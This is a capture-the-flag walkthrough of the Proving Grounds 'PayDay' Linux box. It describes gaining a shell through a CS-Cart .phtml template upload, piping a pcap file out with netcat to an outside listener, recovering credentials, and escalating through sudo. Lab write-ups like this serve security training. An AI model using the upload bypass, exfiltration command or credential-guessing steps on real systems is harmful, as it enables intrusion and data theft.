PayDay

Source: Proving Grounds OS: Linux Community Rating: Intermediate

Enumeration & Reconnaissance

  • The usual autorecon revealed several open ports:

    • SSH (22)

    • HTTP (80)

    • POP3 (110)

    • SMB (139 & 445)

    • 993

    • 995

Service Analysis

  • I began by exploring HTTP (80) and discovered a cs-cart application. A simple login using the default credentials (admin:admin) granted immediate access.

  • I started looking for CVEs and I found, EDB ID: 48891 (No CVE ID). It was quite simple, the application allowed file uploads as templates, any PHP file could be uploaded if given a ".phtml" extension. This opened the door to remote code execution.

Exploit Steps

Gaining Initial Access

  • I crafted a reverse shell script, renamed it with the .phtml extension, and uploaded it. By navigating to:

http://192.168.192.39/skins/shell.phtml
Gaining Access

  • I quickly obtained shell access. Once inside, I uploaded linpeas.sh for further enumeration.

  • Linpeas.sh revealed access to the root directory, although the existing .ssh/authorized_keys were not in a valid format and I couldn’t write new ones.

authorized_keys

  • A file of interest was capture.cap. I utilized a neat file transfer method using netcat:

cat capture.cap | netcat 192.168.45.201 1234
nc -l -p 1234 -q 1 > capture.cap < /dev/null
Transferring the pcap File

  • After analyzing the pcap with Wireshark, I uncovered credentials for a user: brett:ilovesecuritytoo. But wait, there’s no user named Brett here! Tried patrick:ilovesecuritytoo and root:ilovesecuritytoo. Nope.

Password Exposed
Spraying the Password

  • Then I found database creds in a PHP config: root:root.

db_password
MySQL Database Enumeration

  • Logged into MySQL, dumped the cscart database, and found, admin:admin and customer:customer. Seeing a pattern here? Yeah, me neither.

Users Hashed Passwords
Cracked Password

  • After banging my head against the wall, I looked out for hints, turns out it's just patrick:patrick. The password was literally the username. Take a moment. Breathe. Let that sink in.

Privilege Escalation

  • After switching to the patrick account, I ran:

sudo -l

  • This revealed that I could run any command as root without a password. A quick execution of:

sudo bash

  • provided a root shell, completing the takeover.

Getting Root

Lessons Learned

  • Password Guessing 101: Never underestimate username:username combos, they’re tragically common.

  • Sudo -l Is Golden: Always check sudo permissions. This box handed root on a silver platter.

  • PCAPs Hide Secrets: Network captures often leak credentials, even if they’re for non-existent users.

  • Template Uploads = Shells: If an app lets you upload "templates," abuse it .phtml bypasses are clutch.

PreviousClamAVNextSnookums

Last updated